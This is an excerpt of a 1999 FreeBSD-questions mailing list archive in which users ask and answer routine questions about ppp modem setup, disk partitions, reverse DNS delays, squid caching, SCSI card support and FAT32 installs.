> Brian <brian@Awfulhak.org> <brian@FreeBSD.org> <brian@OpenBSD.org>
>       <http://www.Awfulhak.org>
> Don't _EVER_ lose your sense of humour !



--------------7D4E678467B48379B32AA001
Content-Type: text/plain; charset=us-ascii; name="ppp.conf"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline; filename="ppp.conf"

default:
	set log command async
	set device /dev/cuaa4
	set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \"\" AT&F1 OK-AT-OK \\dATDT\\T TIMEOUT 40 CONNECT"

--------------7D4E678467B48379B32AA001
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Content-Disposition: inline; filename="ppp.log"

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From owner-freebsd-questions  Fri Mar 26  9:25:48 1999
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Date: Sat, 27 Mar 1999 01:24:50 +0800
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Subject: how to change a partition size
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hi,

i need some information on how to change/add a partition size.

for example, the result of my free bsd is :

Filesystem 	1K-blocks 	Used 		Avail 		Capacity 	Mounted on 
/dev/sd0a 		31775 		27828 		1405 		95% 		/ 
/dev/sd0s2f 	2076240 	283497 		1626644 	15% 		/usr 
/dev/sd0s2e 	29727 		15311 		12038 		56% 		/var 
procfs 		4 			4 			0 			100% 		/proc

i need to add the size of 	/var

my questins are:
1. without adding a hard drive, i will add /var size by downsizing /usr
size. is it possible ? if yes, how to do it ?

2. by adding a new hard drive, how can i move /var to the new hard drive ?

thank you.
regards,
dibyo gahari




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From owner-freebsd-questions  Fri Mar 26  9:37:54 1999
Delivered-To: freebsd-questions@freebsd.org
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From: "9714572" <9714572@rsftew.luc.ac.be>
To: "FreeBSD" <freebsd-questions@FreeBSD.ORG>
Cc: "Tim Verbois" <Tim.Verbois@rsftew.luc.ac.be>
Subject: Problem with FreeBSD 2.2.7
Date: Sat, 3 Jan 1998 18:28:49 +0100
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I have FreeBSD 2.2.7.  Today I tried to install it on my hard disk.  =
Everything went normal until I wanted to reboot.  Then, the bootmanager =
did not allow me to choose F2 for BSD.  So I tried it without the =
bootmanager.  And I got the message 'System fails to reboot', or =
something like that. =20

I had some problems with my Hard Disk earlier (maxtor 6.0 GB).  I had =
not been able to partition it until I got Partition magic 4.0.  Even =
Fdisk didn't work.  So, is it possible that this is the problem, and how =
do I solve this?

I got some help from somebody who had already installed FreeBSD, so, I =
think I did everything right. =20

I hope you can help me,...

Thank you...


Tim Verbois
<tim.verbois@student.luc.ac.be>

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http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>I have FreeBSD 2.2.7.&nbsp; Today I =
tried to=20
install it on my hard disk.&nbsp; Everything went normal until I wanted =
to=20
reboot.&nbsp; Then, the bootmanager did not allow me to choose F2 for =
BSD.&nbsp;=20
So I tried it without the bootmanager.&nbsp; And I got the message =
'System fails=20
to reboot', or something like that.&nbsp; </FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>I had some problems with my Hard =
Disk earlier=20
(maxtor 6.0 GB).&nbsp; I had not been able to partition it until I got =
Partition=20
magic 4.0.&nbsp; Even Fdisk didn't work.&nbsp; So, is it possible that =
this is=20
the problem, and how do I solve this?</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>I got some help from somebody who =
had already=20
installed FreeBSD, so, I think I did everything right.&nbsp; =
</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>I hope you can help =
me,...</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>Thank you...</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>Tim Verbois</FONT></DIV>
<DIV><FONT color=3D#000000=20
size=3D2>&lt;tim.verbois@student.luc.ac.be&gt;</FONT></DIV></BODY></HTML>=


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From owner-freebsd-questions  Fri Mar 26  9:50:13 1999
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Date: Fri, 26 Mar 1999 12:50:04 -0500
From: Peter Krska <pkrska@imail.umbrella.net>
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I am trying to set one IP address to point to two different domain
names. I have two "A RECORDS" in the DNS for one ip and two different
domains. Now I want to make Windows NT IIS to point to whatever domain
the user chose and to their approriate directories. Unfortuneately, NT
IIS have virtual directories and not virtual domains. Also our freeBSD
firewall does not direct traffice for a particular IP or domain name.

Is there another way to do this; one IP, mutliple domain names each one
a seperate entity and directory. Connected to depending on the domain
name in question. Defaulting to one if a failure?

Thanks
Peter Krska, Network Administrator
Umbrella Communications



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From owner-freebsd-questions  Fri Mar 26  9:52:15 1999
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	(envelope-from ru)
Date: Fri, 26 Mar 1999 19:47:37 +0200
From: Ruslan Ermilov <ru@ucb.crimea.ua>
To: hometeam <hometeam@techpower.net>
Cc: "Paul T. Root" <proot@iaces.com>, dcs@newsguy.com,
	questions@FreeBSD.ORG
Subject: Re: TCP/IP problem
Message-ID: <19990326194737.A81739@relay.ucb.crimea.ua>
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	"Paul T. Root" <proot@iaces.com>, dcs@newsguy.com,
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On Fri, Mar 26, 1999 at 10:58:51AM -0500, hometeam wrote:
> 
> Yeah that why I suggested connecting with the ip address of the site. 
> 

No, this won't help in the case of DNS reverse lookup problem.
The server you're connecting to is doing reverse lookup on the
client IP.  If the DNS is shut down, it will block the connection
until timeout has expired.

A quick check if this is a DNS related problem might be to turn off
the DNS support on the server you're trying to connect to.
This can be done by editing /etc/host.conf on *BSD, or whatever
appropriate for another OS.

-- 
Ruslan Ermilov		Sysadmin and DBA of the
ru@ucb.crimea.ua	United Commercial Bank
+380.652.247.647	Simferopol, Ukraine

http://www.FreeBSD.org	The Power To Serve
http://www.oracle.com	Enabling The Information Age


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From owner-freebsd-questions  Fri Mar 26  9:58:47 1999
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From: "Tibor Borzak" <cezy@inext.ro>
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Subject: Squid
Date: Fri, 26 Mar 1999 19:59:35 +0200
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Hello,=20

A question for a newbie.
I'm running on BSD wiht my primary DNS and proxy server.
Time bye time (usualy evry 6-7 days ) I have problem with squid.
It seems to me is working hard on my drive.. maybe the cahce is full and =
the process is desperatly try to locate some files.
What is the solution, how I can optimize my squid to work smothly..

I wainting for some tips. Also, please explain me how to clear all my =
cache directories and to start squid again...

Thanx in advance...


Greetings,
Tibor Borzak
Internext

------=_NextPart_000_0008_01BE77C3.2C6DE440
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML><HEAD>
<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<STYLE></STYLE>

<META content=3D'"MSHTML 5.00.0910.1309"' name=3DGENERATOR></HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hello, </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>A question for a newbie.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I'm running on BSD wiht my primary DNS =
and proxy=20
server.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Time bye time (usualy evry 6-7 days ) I =
have=20
problem with squid.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>It seems to me is working hard on my =
drive.. maybe=20
the cahce is full and the process is desperatly try to locate some=20
files.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>What is the solution, how I can =
optimize my squid=20
to work smothly..</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I wainting for some tips. Also, please =
explain me=20
how to clear all my cache directories and to start squid =
again...</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanx in advance...</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Greetings,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Tibor Borzak</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Internext</FONT></DIV></BODY></HTML>

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From owner-freebsd-questions  Fri Mar 26 10:26:27 1999
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From: hometeam <hometeam@techpower.net>
To: Ruslan Ermilov <ru@ucb.crimea.ua>
Cc: "Paul T. Root" <proot@iaces.com>, dcs@newsguy.com,
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makes no differance using the ip address there will be no lookup of the
name to map.
 

On Fri, 26 Mar 1999, Ruslan Ermilov wrote:

> On Fri, Mar 26, 1999 at 10:58:51AM -0500, hometeam wrote:
> > 
> > Yeah that why I suggested connecting with the ip address of the site. 
> > 
> 
> No, this won't help in the case of DNS reverse lookup problem.
> The server you're connecting to is doing reverse lookup on the
> client IP.  If the DNS is shut down, it will block the connection
> until timeout has expired.
> 
> A quick check if this is a DNS related problem might be to turn off
> the DNS support on the server you're trying to connect to.
> This can be done by editing /etc/host.conf on *BSD, or whatever
> appropriate for another OS.
> 
> -- 
> Ruslan Ermilov		Sysadmin and DBA of the
> ru@ucb.crimea.ua	United Commercial Bank
> +380.652.247.647	Simferopol, Ukraine
> 
> http://www.FreeBSD.org	The Power To Serve
> http://www.oracle.com	Enabling The Information Age
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 



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From owner-freebsd-questions  Fri Mar 26 10:29:53 1999
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[ no response from freebsd-scsi so I'm forwarding this to -questions ]

Hello,

I'm shopping for an "in-expensive" (yet supported!) SCSI card to hook a 
scanner up to. I think I've settled on one based upon the 53C810 Symbios
chipset.

The particular OEM card is from Tekram--the model is "DC-310". When the
release notes say that there is support for the 53C810 does that imply
support for all cards based upon this chip? Specifically are people using
this DC-310 card under 3.1 (and -current)? I hope so 'cuz it's nice and
cheap ($39 from http://www.hypermicro.com/).

Thanks,

-Jr

-- 
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
| John Reynolds               CEG, CCE, Next Generation Flows, HLA          |
| Intel Corporation         MS: CH6-210   Phone: 554-9092   pgr: 868-6512   |
| jreynold@sedona.ch.intel.com  http://www-aec.ch.intel.com/~jreynold/      |
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From owner-freebsd-questions  Fri Mar 26 10:41:29 1999
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hometeam wrote:
> 
> makes no differance using the ip address there will be no lookup of the
> name to map.

Sorry, but Ruslan is correct. What he is coming at is that if the
reverse DNS for the FreeBSD box is not correctly set, the remote
host receiving the telnet might lock waiting for the reverse-ip of
the caller until it time outs.

I don't have the details of the configuration yet, but I suspect
this scenario is not all that unlikely.

--
Daniel C. Sobral			(8-DCS)
dcs@newsguy.com
dcs@freebsd.org

	"What kind of psychologist laughs at her patients?"
	"I don't laugh at all of them."


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From owner-freebsd-questions  Fri Mar 26 10:42: 6 1999
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From: Ruslan Ermilov <ru@ucb.crimea.ua>
To: hometeam <hometeam@techpower.net>
Cc: "Paul T. Root" <proot@iaces.com>, dcs@newsguy.com,
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You're missing my point.

Whether you specify IP or the name of the SERVER -- it doesn't
make sense.  The server (e.g., telnetd) makes a reverse lookup
(PTR query) on the client's IP.

On Fri, Mar 26, 1999 at 01:25:54PM -0500, hometeam wrote:
> 
> makes no differance using the ip address there will be no lookup of the
> name to map.
>  
> 
> On Fri, 26 Mar 1999, Ruslan Ermilov wrote:
> 
> > On Fri, Mar 26, 1999 at 10:58:51AM -0500, hometeam wrote:
> > > 
> > > Yeah that why I suggested connecting with the ip address of the site. 
> > > 
> > 
> > No, this won't help in the case of DNS reverse lookup problem.
> > The server you're connecting to is doing reverse lookup on the
> > client IP.  If the DNS is shut down, it will block the connection
> > until timeout has expired.
> > 
> > A quick check if this is a DNS related problem might be to turn off
> > the DNS support on the server you're trying to connect to.
> > This can be done by editing /etc/host.conf on *BSD, or whatever
> > appropriate for another OS.
> > 
> > -- 
> > Ruslan Ermilov		Sysadmin and DBA of the
> > ru@ucb.crimea.ua	United Commercial Bank
> > +380.652.247.647	Simferopol, Ukraine
> > 
> > http://www.FreeBSD.org	The Power To Serve
> > http://www.oracle.com	Enabling The Information Age
> > 
> > 
> > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > with "unsubscribe freebsd-questions" in the body of the message
> > 
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message

-- 
Ruslan Ermilov		Sysadmin and DBA of the
ru@ucb.crimea.ua	United Commercial Bank
+380.652.247.647	Simferopol, Ukraine

http://www.FreeBSD.org	The Power To Serve
http://www.oracle.com	Enabling The Information Age


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From owner-freebsd-questions  Fri Mar 26 10:48:28 1999
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Both /usr/ports/www/lynx and /lynx-current exist, but pkg_add says
neither is a .tar archive (I think that's true!) and not a PACKAGE (but
they both LOOK like packages!) and quits with a "no +CONTENTS file"
message.
HELP!  What am I doing wrong?  I like to use lynx to access handbook!




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From owner-freebsd-questions  Fri Mar 26 10:56:45 1999
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From: hometeam <hometeam@techpower.net>
To: "Daniel C. Sobral" <dcs@newsguy.com>
Cc: Ruslan Ermilov <ru@ucb.crimea.ua>,
	"Paul T. Root" <proot@iaces.com>, questions@FreeBSD.ORG
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True I think we have fallen a little off track we are looking for problems
within her box not the remote. Nobody said it was timing out they said
it took 3 mins to connect. So that would then not be a problem with her
routing rather one on the remote.
It might allthough I doubt it.

Try turning off dns on the freebsd box and connect to yourself.
I don't care what your ip is. unless I have you blocked.


So you try another connection. 
 

On Sat, 27 Mar 1999, Daniel C. Sobral wrote:

> hometeam wrote:
> > 
> > makes no differance using the ip address there will be no lookup of the
> > name to map.
> 
> Sorry, but Ruslan is correct. What he is coming at is that if the
> reverse DNS for the FreeBSD box is not correctly set, the remote
> host receiving the telnet might lock waiting for the reverse-ip of
> the caller until it time outs.
> 
> I don't have the details of the configuration yet, but I suspect
> this scenario is not all that unlikely.
> 
> --
> Daniel C. Sobral			(8-DCS)
> dcs@newsguy.com
> dcs@freebsd.org
> 
> 	"What kind of psychologist laughs at her patients?"
> 	"I don't laugh at all of them."
> 



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From owner-freebsd-questions  Fri Mar 26 10:58:55 1999
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Date: Fri, 26 Mar 1999 13:58:27 -0500 (EST)
From: Matt of the Long Red Hair <mattp@conundrum.com>
To: freebsd-questions@freebsd.org
Subject: newfs of ccd0 crashes
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I've trying to get ccd set up on my home box with a pair of large drives, but
every time I try to newfs the ccd the machine crashes.  I've gone through my
setup a number of times (I'm working from the instructions at
http://www.freebsd.org/tutorials/diskformat/diskformat.html) but can't see
what might be going wrong.  I'm including all the seemingly relevant info I
can below.

From dmesg:
wdc0 at 0x1f0-0x1f7 irq 14 on isa
wdc0: unit 0 (wd0): <Maxtor 91728D8>
wd0: 16479MB (33750864 sectors), 33483 cyls, 16 heads, 63 S/T, 512 B/S
wdc1 at 0x170-0x177 irq 15 on isa
wdc1: unit 0 (wd2): <Maxtor 91728D8>
wd2: 16479MB (33750864 sectors), 33483 cyls, 16 heads, 63 S/T, 512 B/S

The labels of the two drives after changing the drive type:

---
# /dev/rwd0c:
type: unknown
disk: amnesiac
label: 
flags:
bytes/sector: 512
sectors/track: 63
tracks/cylinder: 228
sectors/cylinder: 14364
cylinders: 2349
sectors/unit: 33750864
rpm: 3600
interleave: 1
trackskew: 0
cylinderskew: 0
headswitch: 0           # milliseconds
track-to-track seek: 0  # milliseconds
drivedata: 0 

8 partitions:
#        size   offset    fstype   [fsize bsize bps/cpg]
  c: 33750864        0    4.2BSD        0     0     0   # (Cyl.    0 - 2349*)
---

---
# /dev/rwd2c:
type: unknown
disk: amnesiac
label: 
flags:
bytes/sector: 512
sectors/track: 63
tracks/cylinder: 228
sectors/cylinder: 14364
cylinders: 2349
sectors/unit: 33750864
rpm: 3600
interleave: 1
trackskew: 0
cylinderskew: 0
headswitch: 0           # milliseconds
track-to-track seek: 0  # milliseconds
drivedata: 0 

8 partitions:
#        size   offset    fstype   [fsize bsize bps/cpg]
  c: 33750864        0    4.2BSD        0     0     0   # (Cyl.    0 - 2349*)
---

I noticed that the drive geometry set by `disklabel -r -w wd0 auto` (and on
wd2) is slightly different than that reported by the drivers at boot.  Is this
a possible source of trouble?  


Setting up ccd0 goes well:

[mattp :: 13:44:29]
flux:/usr/home/mattp# ccdconfig -Cv
ccd0: 2 components (wd0c, wd2c), 67501696 blocks concatenated

---
#
# /etc/ccd.conf
# Configuration file for concatenated disk devices
#

# ccd      ileave      flags      component devices
ccd0       0           0          /dev/wd0c /dev/wd2c
---

Finally, the newfs itself:

[mattp :: 13:45:22]
flux:/root#  newfs /dev/rccd0c
Warning: 384 sector(s) in last cylinder unallocated
/dev/rccd0c:    67501696 sectors in 16480 cylinders of 1 tracks, 4096 sectors
        32959.8MB in 1030 cyl groups (16 c/g, 32.00MB/g, 7396 i/g)
super-block backups (for fsck -b #) at:
 32, 65568, 131104,[crash here]


Can anyone suggest what might be causing this?  I'm completely at a loss at
this point.

Thanks!
   Matt

-----------------------------------------------------------------------------
Matthew Pounsett (MP1229)                                 mattp@conundrum.com
PGP Fingerprint =  40 E8 24 BC C1 98 00 F2  56 2F F6 7B 36 34 58 01 
                          http://www.conundrum.com/~mattp
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From owner-freebsd-questions  Fri Mar 26 11: 1:46 1999
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hometeam wrote:
> 
> True I think we have fallen a little off track we are looking for problems
> within her box not the remote. Nobody said it was timing out they said
> it took 3 mins to connect. So that would then not be a problem with her
> routing rather one on the remote.
> It might allthough I doubt it.
> 
> Try turning off dns on the freebsd box and connect to yourself.
> I don't care what your ip is. unless I have you blocked.
> 
> So you try another connection.

For now, I'm just waiting for an answer from her. But, from the
description I got of the problem, I suspect it only happens when
connecting to outside the subnet where the box is. Maybe even to a
few (one?) selected remote hosts. That's why my initial take was a
problem with something like TCP extensions being on or off (it is
off).

--
Daniel C. Sobral			(8-DCS)
dcs@newsguy.com
dcs@freebsd.org

	"What kind of psychologist laughs at her patients?"
	"I don't laugh at all of them."



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From owner-freebsd-questions  Fri Mar 26 11:15:59 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from orion.ac.hmc.edu (Orion.AC.HMC.Edu [134.173.32.20])
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Date: Fri, 26 Mar 1999 11:15:34 -0800 (PST)
From: Eric Ken Lin <elin@orion.ac.hmc.edu>
To: freebsd-questions@freebsd.org
Subject: Problem with PINE 4.10
Message-ID: <Pine.GSO.4.05.9903261107410.25743-100000@orion.ac.hmc.edu>
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Today, I found out that ld-elf.so.1 could be downloaded from
http://www.freebsd.org/java, so I decided to attempt to install the PINE
4.10 mailreader package onto my FreeBSD 2.2.5 system, replacing PINE 4.01
which was on my system & had worked perfectly fine.

Then I attempted to execute PINE 4.10 & received the following error
message:

     /usr/libexec/ld-elf.so.1: Shared object "libtermcap.so.2" not found

So I made soft links to /usr/lib/libtermcap.so.2.1 under the names of
/usr/libexec/libtermcap.so.2 & /usr/local/lib/libtermcap.so.2, attempted
to re-run PINE, & still received the above error message.

Could someone help me on this? Thanks.

------------
Eric Lin
elin@hmc.edu




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From owner-freebsd-questions  Fri Mar 26 11:53:51 1999
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Message-ID: <01BE7790.617E0F80.jagte@gateway.net>
From: Jeremy Agte <jagte@gateway.net>
Reply-To: "jagte@gateway.net" <jagte@gateway.net>
To: "'freebsd-questions@freebsd.org'" <freebsd-questions@freebsd.org>
Subject: ppp connection
Date: Fri, 26 Mar 1999 13:55:59 -0600
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Hello, I just purchase FreeBSD 3.1 on cdrom and am having a difficult time 
connecting to my internet service provider.  I have read the applicable man 
page and handbook section on setting up the files but no luck.  I currently 
have the /etc/ppp/ppp.conf file set up as:

default:
  set device /dev/cuaa0
  set speed 115200
  set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \"\" AT OK-AT-OK ATE1Q0 
OK \\ dATDT\\T TIMEOUT 40 CONNECT"

provider:
  set phone 3572850
  set login "ABORT NO\\sCARRIER TIMEOUT 5 ogin:--ogin: JAgte word: (my 
password)"
  set timeout 300
  set ifaddr 10.0.0.1/0  10.0.0.2/0  255.255.255.0  0.0.0.0
  add default HISADDR
  enable DNS

to start I type ppp to get:

ppp ON skuza>

then
ppp ON skuza>dial provider
ppp ON skuza>WARNING! Chat script failed.

the ppp.log file for the above looks like:

Using interface: tun0
deflink: Created in closed state
PPP Started (interactive mode)
bundle: Establish
deflink: closed -> opening
deflink: Connected!
deflink: opening -> dial
Phone: 3572850
deflink: dial -> hangup
deflink: Disconnected!
deflink: Connect time: 10 secs: 0 octets in, 0 octets out


I don't ever here the modem dialing.  Also from Windows I get that my U.S. 
Robotics 56K modem is located on COM2 but when I set the first line in the 
ppp.conf to "set device /dev/cauu1" ppp says that it doesn't recognize 
cauu1.  Is ppp even reaching my modem?  Any suggestions on how to get this 
thing working?

Thanks, Jeremy Agte



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From owner-freebsd-questions  Fri Mar 26 12: 1:32 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Fri, 26 Mar 1999 13:00:20 -0700 (MST)
From: Brett Taylor <brett@peloton.physics.montana.edu>
To: Parker Brown <phbrown@gte.net>
Cc: Tech Support <freebsd-questions@FreeBSD.ORG>
Subject: Re: pkg_add trouble with lynx on FreeBSD 3.1
In-Reply-To: <36FBD643.9EFAE903@gte.net>
Message-ID: <Pine.BSF.4.05.9903261259020.3621-100000@peloton.physics.montana.edu>
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Hi,

> Both /usr/ports/www/lynx and /lynx-current exist, but pkg_add says
> neither is a .tar archive (I think that's true!) and not a PACKAGE
> (but they both LOOK like packages!) and quits with a "no +CONTENTS
> file" message. HELP!  What am I doing wrong?  I like to use lynx to
> access handbook!

Because those are ports directories and NOT packages.  If you want the
packages you need to download those.  If you'd like to use the port then
go to /usr/ports/www/lynx and type, as root, "make install" and the port
will fetch, patch for FreeBSD, build, and install the port.   

Brett
***********************************************************
Brett Taylor            brett@peloton.physics.montana.edu *
                        brett@daemonnews.org              *
							  *
			http://www.daemonnews.org/        *
***********************************************************



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From owner-freebsd-questions  Fri Mar 26 12: 8:25 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from mta2.iol.it (mta2.iol.it [195.210.91.152])
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	(envelope-from albertodegiorgi@iol.it)
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          Fri, 26 Mar 1999 21:08:01 +0100
Message-ID: <007901be77c4$9df61c80$fa4834d4@oemcomputer>
From: "Alberto De Giorgi" <albertodegiorgi@iol.it>
To: <freebsd-questions@freebsd.org>
Subject: re : installing from a fat 32 partition
Date: Fri, 26 Mar 1999 21:02:25 +0100
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When I installed freebsd ( but it was 2.2.8 ) I did it this way.
I put the dists in the freebsd directory
following this scheme :
bin\*.* in C:\freebsd\bin\*.*
doc\*.* in C:\freebsd\doc\*.*
etc.....
Then I prepared a freebsd installation boot disk following the handbook
instructions.
And I could install freebsd from C: without any problem .
May I suggest you to download the src/sys files ? You may want to configure
your own kernel sooner or later
( for instance the generic kernel that comes with the dists doesn't support
soundcards )

bye
MDG




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From owner-freebsd-questions  Fri Mar 26 12: 8:25 1999
Delivered-To: freebsd-questions@freebsd.org
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From: "Alberto De Giorgi" <albertodegiorgi@iol.it>
To: <freebsd-questions@freebsd.org>
Subject: ppp and rc.conf
Date: Fri, 26 Mar 1999 20:57:43 +0100
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Hi list .
1) Is there anyone who can tell me how I must set up 
    the rc.conf file to get ppp connections to my ISP ?
2) Is there anyone using Kppp with freebsd ?
by
MDG




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From owner-freebsd-questions  Fri Mar 26 12:11:40 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Fri, 26 Mar 1999 15:10:40 -0500
From: RPD <spam@distance.net>
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To: "jagte@gateway.net" <jagte@gateway.net>
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Subject: Re: ppp connection
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Jeremy,

I see that you are using gateway.net, do you have a gateway computer? If
so you may be a winmodem victim, unless you upgraded or requested not to
have a winmodem installed. If not, this email is worthless and should be
deleted =)
-
Just a thought.

-RPD



Jeremy Agte wrote:
> 
> Hello, I just purchase FreeBSD 3.1 on cdrom and am having a difficult time
> connecting to my internet service provider.  
-SNIP-
> 
> I don't ever here the modem dialing.  Also from Windows I get that my U.S.
> Robotics 56K modem is located on COM2 but when I set the first line in the
> ppp.conf to "set device /dev/cauu1" ppp says that it doesn't recognize
> cauu1.  Is ppp even reaching my modem?  Any suggestions on how to get this
> thing working?
> 
> Thanks, Jeremy Agte


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From owner-freebsd-questions  Fri Mar 26 12:14:25 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from dingo.cdrom.com (dingo.cdrom.com [204.216.28.145])
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	id 5F06214A23; Fri, 26 Mar 1999 12:14:24 -0800 (PST)
	(envelope-from mike@dingo.cdrom.com)
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X-Mailer: exmh version 2.0.2 2/24/98
To: Steven Harris <steve@freebsdrocks.com>
Cc: freebsd-questions@FreeBSD.ORG, freebsd-mobile@FreeBSD.ORG
Subject: Re: Help needed with PCMCIA 3CCFEM556B card 
In-reply-to: Your message of "Sat, 27 Mar 1999 01:59:58 +1000."
             <Pine.BSF.4.05.9903270154280.23508-100000@bart.zarvon.com> 
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> PC-Card Intel 82365 (5 mem & 2 I/O windows)
> pcic: controller irq 3
> Initializing PC-card drivers: sio
> Card inserted, slot 0
> PC-Card Intel 82365 (5 mem & 2 I/O windows)
> pcic: controller irq 5
> Card inserted: slot 2

You seem to still have the pcic kld being loaded by /etc/rc.pccard - 
remove that and try again.

-- 
\\  Sometimes you're ahead,       \\  Mike Smith
\\  sometimes you're behind.      \\  mike@smith.net.au
\\  The race is long, and in the  \\  msmith@freebsd.org
\\  end it's only with yourself.  \\  msmith@cdrom.com




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From owner-freebsd-questions  Fri Mar 26 12:16:26 1999
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Date: Fri, 26 Mar 1999 12:23:02 -0800
From: yoalli <yoalli@tij.uia.mx>
Organization: Informatica, Universidad Iberoamericana Noroeste
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I'm thinking about buying an Intel Motherboard T440BX
that has a Symbios Logic 53C875JBE SCSI disk
controller integrated, I want to know if FreeBSD support
this controller, if not, can I do something about it?

Please let me know asap, thanks




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From owner-freebsd-questions  Fri Mar 26 12:22:45 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Fri, 26 Mar 1999 12:22:16 -0800 (PST)
From: Holtor <holtor@yahoo.com>
Subject: Help! Crashing Every 2 Days!!
To: freebsd-questions@freebsd.org
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Hello, my server seems to be crashing or what I think
it is doing it crashing about every 2 days now.
I get this in /var/log/messages:
Mar 26 03:33:32 shell src/ircd[4486]: Server Ready
Mar 26 04:22:52 shell /kernel: Copyright (c) 1992-1999
Mar 26 04:22:52 shell /kernel: Copyright (c) 1982,
1986, 1989, 1991, 1993
It just seems to have crashed, that ircd had nothing to
do with it, but i'm starting to think its not crashing
anymore. It can't be, anyone know what it could be?
I'm not on console, its a colocated server so it makes
it much tougher. I thought it was some kind of power
problem or someone is reseting it at their NOC, but
they have told me thats not the case. After it
comes back online though, I see this message in
/var/log/messages:
Mar 26 04:22:53 shell /kernel: WARNING: / was not
properly dismounted
Now..when it crashes does it properly dismount / or
no?
I need any input i can get on this dreaded problem
asap!

Thanks,
Holt
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From owner-freebsd-questions  Fri Mar 26 12:29:26 1999
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To: <freebsd-questions@freebsd.org>
Subject: Contributors Page
Date: Fri, 26 Mar 1999 14:31:57 -0600
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How often do update that page?

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From owner-freebsd-questions  Fri Mar 26 12:55:20 1999
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From: hometeam <hometeam@techpower.net>
To: RPD <spam@distance.net>
Cc: "jagte@gateway.net" <jagte@gateway.net>,
	"'freebsd-questions@freebsd.org'" <freebsd-questions@FreeBSD.ORG>
Subject: Re: ppp connection
In-Reply-To: <36FBE9C0.A407BF06@distance.net>
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Well first is is cuaa2 if comport 2 not cauu1

try typing demsg | more and look for the sio entries
see if it is finding the port.

You also may be a winmodem victim///
 


--/The human mind ordinarily operates at only ten percent of its capacity -- 
		the rest is overhead for the operating system.\--
     	     --/System Administrator      support@techpower.net\--


On Fri, 26 Mar 1999, RPD wrote:

> Jeremy,
> 
> I see that you are using gateway.net, do you have a gateway computer? If
> so you may be a winmodem victim, unless you upgraded or requested not to
> have a winmodem installed. If not, this email is worthless and should be
> deleted =)
> -
> Just a thought.
> 
> -RPD
> 
> 
> 
> Jeremy Agte wrote:
> > 
> > Hello, I just purchase FreeBSD 3.1 on cdrom and am having a difficult time
> > connecting to my internet service provider.  
> -SNIP-
> > 
> > I don't ever here the modem dialing.  Also from Windows I get that my U.S.
> > Robotics 56K modem is located on COM2 but when I set the first line in the
> > ppp.conf to "set device /dev/cauu1" ppp says that it doesn't recognize
> > cauu1.  Is ppp even reaching my modem?  Any suggestions on how to get this
> > thing working?
> > 
> > Thanks, Jeremy Agte
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 



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From owner-freebsd-questions  Fri Mar 26 13: 1: 7 1999
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To: KNGxRaGe@aol.com, freebsd-questions@freebsd.org
From: Michael Cugley <michael.cugley@virgin.net>
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At 05:28 AM 3/26/99 EST, KNGxRaGe@aol.com wrote:
>My computer has Microsoft Windows 98 installed on a FAT32 partition and
>whenever I try to install FreeBSD 3.1-stable, it says it couldn't find the
>bin, doc, and compatXX directories or any of the other directories I
>downloaded from "ftp.freebsd.org". Does Freebsd 3.1-stable support FAT32
>partitions?

Make sure bin\ doc\ compat1x\ and so forth are in your *root* directory,
not in a \FreeBSD\ directory like it says in the install docs.  I
successfully installed from a FAT32 drive once I found that out.


--  
			Mike Cugley, lunatic at large

http://freespace.virgin.net/michael.cugley/
http://freespace.virgin.net/michael.cugley/Art/
Mike's Doom Quake - http://www.crosswinds.net/dundee/~korvar/


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From owner-freebsd-questions  Fri Mar 26 13:13:46 1999
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Date: Fri, 26 Mar 1999 13:13:23 -0800
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Subject: RE: In 3.1, can't seem to save device list after boot -cv
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On 26 Mar 99, at 9:51, Charles Randall wrote:

> See the ERRATA.TXT file,
> 
> ftp://ftp.freebsd.org/pub/FreeBSD/3.1-RELEASE/ERRATA.TXT
> 
> --- snip ---
> o  Kernel change information is not saved in the new kernel, even
